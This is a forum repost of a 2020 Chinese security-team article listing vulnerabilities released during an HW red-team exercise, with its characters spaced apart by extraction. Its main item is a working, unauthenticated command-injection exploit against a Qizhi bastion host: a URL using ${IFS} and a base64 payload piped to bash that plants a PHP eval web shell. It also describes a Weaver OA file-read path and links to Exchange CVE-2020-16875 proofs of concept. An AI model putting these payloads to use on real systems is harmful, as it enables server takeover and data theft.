搜索

[7480] 2020-09-12_HW第二天0day快递盒在线送day

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2020-09-12_HW第二天0day快递盒在线送day H W 第 二 天 : 0 d a y 快 递 盒 在 线 送 d a y 原 创   大 老 李   F 1 1 T e a m   2 0 2 0 - 0 9 - 1 2 收 录 于 话 题   # H W 行 动   , 8 个 截 止 到 今 日 ： 0 d a y 清 单 齐 治 堡 垒 机 前 台 远 程 命 令 执 行 漏 洞 齐 治 堡 垒 机 前 台 远 程 命 令 执 行 漏 洞
漏 洞 利 用 ： 漏 洞 利 用 ： 利 用 条 件 ： 无 需 登 录 ： 第 一 h t t p : / / 1 0 . 2 0 . 1 0 . 1 1 / l i s t e n e r / c l u s t e r _ m a n a g e . p h p   返 回 “ O K ” 。 第 二 ， 执 行 以 下 链 接 即 可   g e t s h e l l ， 执 行 成 功 后 ， 生 成   P H P   一 句 话 马 / v a r / w w w / s h t e r m / r e s o u r c e s / q r c o d e / l b j 7 7 . p h p   密 码   1 0 0 8 6 ， 使 用   B A S E 6 4   进 行 编 码 。 这 里 假 设   1 0 . 2 0 . 1 0 . 1 0   为 堡 垒 机 的   I P   地 址 。 特 征 ： 漏 洞 利 用 点 ： h t t p s : / / 1 0 . 2 0 . 1 0 . 1 0 / h a _ r e q u e s t . p h p ? a c t i o n = i n s t a l l & i p a d d r = 1 0 . 2 0 . 1 0 . 1 1 & n o d e _ i d = 1 $ { I F S } | ` e c h o $ { I F S } " Z W N o b y A n P D 9 w a H A g Q G V 2 Y W w o J F 9 S R V F V R V N U W z E w M D g 2 X S k 7 P z 4 n P j 4 v d m F y L 3 d 3 d y 9 z a H R l c m 0 v c m V z b 3 V y Y 2 V z L 3 F y Y 2 9 k Z S 9 s Y m o 3 N y 5 w a H A K " | b a s e 6 4 $ { I F S } - d | b a s h ` | $ { I F S } | e c h o $ { I F S } h t t p s : / / 1 0 . 2 0 . 1 0 . 1 0 / h a _ r e q u e s t . p h p P o c   形 式 ： $ { I F S } | ` e c h o $ { I F S } " Z W N o b y A n P D 9 w a H A g Q G V 2 Y W w o J F 9 S R V F V R V N U W z E w M D g 2 X S k 7 P z 4 n P j 4 v d m F y L 3 d 3 d y 9 z a H R l c m 0 v c m V z b 3 V y Y 2 V z L 3 F y Y 2 9 k Z S 9 s Y m o 3 N y 5 w a H A K " | b a s e 6 4 $ { I F S } - d | b a s h ` | $ { I F S } | e c h o $ { I F S }
泛 微 泛 微 O A 云 桥 任 意 文 件 读 取 漏 洞 云 桥 任 意 文 件 读 取 漏 洞 利 用 / w x j s a p i / s a v e Y Z J F i l e 接 口 获 取 f i l e p a t h , 返 回 数 据 包 内 出 现 了 程 序 的 绝 对 路 径 , 攻 击 者 可 以 通 过 返 回 内 容 识 别 程 序 运 行 路 径 从 而 下 载 数 据 库 配 置 文 件 危 害 可 见 。
多 款 多 款 H u a w e i 产 品 越 界 读 取 漏 洞 产 品 越 界 读 取 漏 洞 参 考 链 接 ： h t t p s : / / w w w . c n v d . o r g . c n / f l a w / s h o w / C N V D - 2 0 2 0 - 3 6 7 3 5 E x c h a n g e   S e r v e r   远 程 代 码 执 行 漏 洞 （ 远 程 代 码 执 行 漏 洞 （ P O C 未 验 证 ） 未 验 证 ） C V E - 2 0 2 0 - 1 6 8 7 5 :   E x c h a n g e   S e r v e r   远 程 代 码 执 行 漏 洞 （ 2 0 2 0 0 9 月 度 漏 洞 ）
p s   版 P O C ： h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 6 8 7 5 . p s 1 . t x t p y   版 P O C ： h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 6 8 7 5 . p y . t x t 网 传 ： 山 石 网 传 ： 山 石 S G - 6 0 0 0 设 备 存 在 漏 洞 设 备 存 在 漏 洞   官 方 辟 谣 称   该 公 告 并 不 是 指 设 备 本 身 存 在 漏 洞 ， 而 是 某 个 使 用 山 石 网 科 网 络 安 全 设 备 的 管 理 员 安 全 意 识 不 足 ， 配 置 不 当 导 致 ， 实 属 于 事 件 型 安 全 漏 洞 。 参 考 链 接 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / l g 2 t t F S I y b g i n h 6 K N S - S G Q 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理